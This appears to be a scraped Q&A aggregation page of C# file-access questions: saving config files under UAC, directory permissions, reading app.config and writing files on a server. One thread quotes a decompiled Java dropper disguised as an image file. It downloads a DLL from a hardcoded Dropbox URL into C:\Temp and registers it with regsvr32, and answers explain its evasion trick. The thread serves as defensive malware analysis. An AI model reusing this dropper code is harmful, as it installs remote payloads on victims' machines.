Access ini file from documents for reading - c#

I have put a config ini file "config.ini" for reading and writing to from my C# program, the thing is, if the user has UAC enabled then for some weird reasons the program doesn't read or write to the file but it managed to create the file but cannot read or write to it.
How can I get this to work.
this file is saved into DOCUMENTSFOLDER\ProductName\config.ini
Ini class file: http://www.sinvise.net/so/Ini.cs
Code Snippet of config.ini creation: http://www.sinvise.net/so/creation.txt

Quick suggestion before going further, you should check out nini which is a neat INI handler and takes care of the reading/writing the INI files.
Sample usage of the code that reads from the ini file.
using Nini;
using Nini.Config;
namespace niniDemo{
public class niniDemoClass{
public bool LoadIni(){
string configFileName = "demo.ini";
IniConfigSource configSource = new IniConfigSource(configFileName);
IConfig demoConfigSection = configSource.Configs["Demo"];
string demoVal = demoConfigSection.Get("demoVal", string.Empty);
}
}
}
Try that and take it from there...
Hope this helps,
Best regards,
Tom.

You should have better luck writing to the path: Environment.SpecialFolder.LocalApplicationData. Your app should have permission to write to that with UAC on or off, or even on machines where the app/user has very limited permissions.

Related

How do I create this directory using this function? I keep getting an access denied error.(C#)

First, let me begin by saying I know this appears to be a commonly asked question, but trust me, I've searched extensively and I couldn't find the answer to my question specifically. IF you do happen to know where this specific question was asked, by all means, mark it as a duplicate and reference me there, and accept my apologies for not finding it.
Now, I have a simple if function in my code:
if (!Directory.Exists(FileDirectory))
{
Directory.CreateDirectory(FileDirectory);
}
However, upon running this if Function, I get this error code:
System.UnauthorizedAccessException: 'Access to the path 'C:\Program Files\LockingProgram\Password.txt;' is denied.'
Now, obviously the problem is that the access is denied. How would I gain access?
I have tried simply writing the file instantly, however then it won't find the path
File.WriteAllText(FileDirectory, Password);
throws this error:
System.IO.DirectoryNotFoundException: 'Could not find a part of the path 'C:\Program Files\LockingProgram\Password.txt;'
The FileDirectory string is:
string FileDirectory = "C:\\Program Files\\LockingProgram\\Password.txt;";
Currently, what the program is trying to do is get a password from the user when they click a button, and then saves that password to a txt file located at the file directory for future reference. When they open the program, it checks if the file exists. If it exists, it sets the password to that file, and if it doesn't it forces the user to enter a string into a text box and from there, I am trying to save it. However, that's where I'm having the problem.
Any help would be greatly appreciated!
Edit: I now understand it's generally a bad idea to save it to Program Files, and you should use AppData instead. I'll try that and update you if it works that time.
Edit 2: It now works. I changed the file directory to:
string FileDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "LockingApp";
And I added a new variable:
string FileName = "Password.txt";
And I modified where the directory is created to:
if (!Directory.Exists(FileDirectory))
{
Directory.CreateDirectory(FileDirectory);
}
File.WriteAllText(Path.Combine(FileDirectory, FileName), Password);
Thanks for your help guys! Hopefully I formatted this question well.
C:\\Program Files\\LockingProgram\\Password.txt;
is not a directory, use
FileDirectory = #"C:\Program Files\LockingProgram";
Directory.CreateDirectory(FileDirectory);
Also there is a probably a good chance you will need to run your program at an elevated privilege or with the appropriate permissions, i.e as an administrator
However there are better places to store data
Where Should I Store my Data and Configuration Files if I Target Multiple OS Versions?
ie AppData, for example
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
You can use Isolated Storage for saving files (Seems the easiest and least tasking to use).
Check this code sample below
using System;
using System.IO;
using System.IO.IsolatedStorage;
public class CreatingFilesDirectories
{
public static void Main()
{
using (IsolatedStorageFile isoStore = IsolatedStorageFile.GetStore(IsolatedStorageScope.User | IsolatedStorageScope.Domain | IsolatedStorageScope.Assembly, null, null))
{
isoStore.CreateDirectory("TopLevelDirectory");
isoStore.CreateDirectory("TopLevelDirectory/SecondLevel");
isoStore.CreateDirectory("AnotherTopLevelDirectory/InsideDirectory");
Console.WriteLine("Created directories.");
isoStore.CreateFile("InTheRoot.txt");
Console.WriteLine("Created a new file in the root.");
isoStore.CreateFile("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt");
Console.WriteLine("Created a new file in the InsideDirectory.");
}
}
}

Reading from an app.config file

Given an app.config file, How can I read the keys and values given that those keys I am interested in will all follow a pattern I establish first. For example I do know that all the names of my keys will follow a pattern of
<add key="my_*_Def" value = "someValue">
The thing is I want to write a program that I can give these config files to it and then my program goes and finds that pattern in that file and gives them to me for further processing.
Is there a better way for writing this other than treating it as a text file and reading it line by line?
You can use
ConfigurationManager.AppSettings.AllKeys
to find all the keys in the app.config file. (link)
To try in another file, you'll want to get the configuration using ConfigurationManager.OpenExeConfiguration Method (String)
So;
var config = ConfigrationManager.OpenExeConfiguration("foo.exe.config");
var keys = config.AppSettings.AllKeys;

Can anyone explain the following piece of anonymous/mischief code for windows?

Warning:
DO NOT EXECUTE THIS CODE ON ANY MACHINE. IT COULD BE A MALICIOUS CODE
Hi,
I got a file on fb, from someone which obviously looked like a virus. So I downloaded it happy that I am not on Windows.
I scanned it on virustotal, and it said this file was just scanned sometime ago meaning this file has been circulating a while. I scanned it still and virustotal says its clean.
So its Zip file, with a jar file and when I decompiled the .class file in jar file to java code, it had hardcoded strings to C:\ drive and a dropbox url to download a dat file. Then uses regsvr to do some registry level changes.
So, on that note it was nicely concealed with an innocent jar file. But even the downloaded module.dat file looks to virus free according to virustotal
Manifest File:
Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045
But can someone explain what this code does exactly ? before moving down to code..
The dat file seems to be having this :
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
public static void main(String[] paramArrayOfString)
throws Exception
{
String str1 = "C:\\T";
str1 = str1.concat("emp");
File localFile1 = new File(str1);
localFile1.mkdir();
File localFile2 = new File("C:\\Temp\\asdfr1.dat");
if (localFile2.exists())
{
proc();
} else {
String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
String str3 = "C:\\Temp\\asdfr1.dat";
dl(str2, str3);
}
}
public static void proc()
throws IOException
{
int i = 1;
while (i < 7)
{
bala();
i++;
}
}
public static void bala()
throws IOException
{
String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
Runtime localRuntime = Runtime.getRuntime();
Process localProcess = localRuntime.exec(arrayOfString);
}
public static void dl(String paramString1, String paramString2)
throws IOException
{
URL localURL = new URL(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte[250000];
InputStream localInputStream = localURL.openStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) != -1)
localFileOutputStream.write(arrayOfByte, 0, i);
localInputStream.close();
localFileOutputStream.close();
proc();
}
}
Can someone explain about
What is a PE32 dll? Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ? and I am not much aware of regsvr codes.. What is it doing with respect to the registry entries and the dlls involved [I have provided the link below which is an analysis of the dat file contents] (without executing it :))
I also have the dat file analysis link for someone to look into the registry, dlls, locks involved
https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/
The code downloads a file from external dropbox account and register it in the system. The file is DLL library. The DLL is stored in C:\Temp folder.
Question: Can someone explain about What is a PE32 dll?
http://en.wikipedia.org/wiki/Portable_Executable
Question: Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ?
An attacker prevents a signature detecting.
Question: What is it doing with respect to the registry entries and the dlls involved?
An attacker uses the fact that any application searches required dlls in determined order. The first location is a current folder.
The attacker scenario: user runs any application from C:\Temp folder. If the application uses methods from namesake DLL, it finds malicious DLL first and executes its code.
I also received this content yesterday and unfortunately I ran this jar file. it triggered the same attachment to persons in my contact list. I had a glance at the class file using java decompiler and found the same given above.
Its actually trying to download the DAT file and trying to register it using regsvr32. but, there is an error while registering that. I got to know when i intentionally tried to register it to know what is the key under which it would install. DLL register is not working.
But, one big problem with this virus is, it is getting transmitted to all the users in our contact list and trying to circulate itself.
As of now, the DAT file is unavailable(it is downloaded from DROPBOXUSERCONTENT.com). due to high traffic, the file access is denied now.
Solution : Try to remove the file and folder "C:\TEMP\ASDFR1.dat". File gets deleted easily, but folder deletion might not work. In that case, try to restore ur system. After that i was able to delete the folder.
Please let me know if I need to do anything more.

How to open or run unknown file converted into byte[]

I use to store document/file in byte[] in database, and I want user can view/run that file from my application.
You need to know the file extension for the file you're writing, so the OS can run the default program based on the extension. The code would be something like this:
byte[] bytes = GetYourBytesFromDataBase();
string extension = GetYourFileExtension(); //.doc for example
string path = Path.GetTempFileName() + extension;
try
{
using(BinaryWriter writer = new BinaryWriter(File.Open(path, FileMode.Create)))
{
writer.Write(yourBytes);
}
// open it with default application based in the
// file extension
Process p = System.Diagnostics.Process.Start(path);
p.Wait();
}
finally
{
//clean the tmp file
File.Delete(path);
}
You will need to store the file extension in the database too. If you don't have the file extension the problem becomes very difficult as you cannot rely on the operating system to work out which program to launch to handle the file.
You can use the following pattern:
Load data from database and save to file using the original file extension.
Start a new System.Diagnostics.Process that points to the saved file path.
As you have saved the file with the original file extension, the OS will look for a program that is registered for the extension to open the file.
As chibacity and Daniel suggest, storing the file extension in the db, and agreed -- storing the file extension, or at least some indicator that tells you the file type, is a good idea.
If these files are of a format of your own creation then you might also want to store information about which version of the file format the data is stored in. During development file formats are prone to changing, and if you don't remember which version you used to store the data then you have a hard job recovering the information.
The same problems are faced in object persistence generally.

Creating and saving a text file to the server

In C# ASP.Net, I would like to create and save a text file to a server. This will be happening daily (by a user action, not scheduled).
I would like the location to not be in the application path but in a separate folder (for this question, lets say the folder is off the root).
I am new to this site and if this question is too "open", feel free to let me know.
Thanks for your assistance.
I agree with Dan Herbert. Put the path in web.config and make sure the permissions for the folder are correct.
Also, make sure that path is not on the C drive. That way, if something goes wrong, or if the site is attacked, the c drive won't fill up and crash the server.
Be careful with the permissions; even a simple text file can be dangerous if a hacker can muck with the path somehow. Think about someone overwriting the server's hosts file, for example.
One good practice to follow is to use a web.config app setting key to define the output path of your application.
You'd use the ConfigurationManager.AppSettings class for retrieving values from a web.config. You can read how to do this here:
http://msdn.microsoft.com/en-us/library/system.configuration.configurationmanager.appsettings.aspx
Here is an example:
// Pass a path and filename to the StreamWriter's
// constructor. The path must already exist but the
// file will be created if it does not already exist.
using (TextWriter tw = new StreamWriter("c:\\foo\\bar.txt"))
{
tw.WriteLine("hello world");
}
You can use System.IO classes to save to a file on the local filesystem.
using(var w = new StreamWriter(filename))
{
w.WriteLine("Hello world!");
}
Just to add on what others have said, when writing to a file in a multi-threaded application, you need to synchronize the access to this resource. You could use ReaderWriterLockSlim to achieve this:
// Make this a static field
ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();
_lock.EnterWriteLock();
try
{
File.WriteAllText(#"c:\test.txt", "some info to write");
}
finally
{
_lock.ExitWriteLock();
}
I don't see any specific issue in doing so. You just need to make sure the user running ASP.NET is granted the required permissions to write to the output folder.
You'll want to use Server.MapPath to get to the physical path of your folder.
using (TextWriter tw = new StreamWriter(Server.MapPath("Folder1")))
{
tw.WriteLine("hello world");
}

Categories

Resources